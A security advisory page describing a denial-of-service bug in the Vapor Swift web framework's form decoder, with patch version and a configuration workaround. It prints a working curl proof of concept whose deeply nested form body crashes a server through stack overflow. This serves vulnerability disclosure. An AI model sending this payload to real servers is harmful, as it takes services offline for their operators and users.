GHSA-qvxg-wjxc-r4gg

Suggest an improvement
Source
https://github.com/advisories/GHSA-qvxg-wjxc-r4gg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/06/GHSA-qvxg-wjxc-r4gg/GHSA-qvxg-wjxc-r4gg.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-qvxg-wjxc-r4gg
Aliases
Published
2023-06-07T16:11:16Z
Modified
2023-11-08T04:09:22.722331Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Vapor vulnerable to denial of service in URLEncodedFormDecoder
Details

Vapor is an HTTP web framework for Swift. Vapor versions earlier than 4.61.1 are vulnerable to a denial of service in the URLEncodedFormDecoder.

Impact

When using automatic content decoding, e.g.

app.post("foo") { request -> String in
  let foo = try request.content.decode(Foo.self)
  return "\(foo)"
}

An attacker can craft a request body that can make the server crash with the following request:

curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo

The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow.

Patches

Fixed in 4.61.1

Workarounds

If you don't need to decode Form URL Encoded data, you can disable the ContentConfiguration so it won't be used. E.g. in configure.swift

var contentConfig = ContentConfiguration()
contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .json)
contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .json)
contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .jsonAPI)
contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .jsonAPI)
ContentConfiguration.global = contentConfig

For more information

If you have any questions or comments about this advisory: * Open an issue in the Vapor repo * Ask in Vapor Discord

References

Affected packages

SwiftURL / github.com/vapor/vapor

Package

Name
github.com/vapor/vapor

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.61.1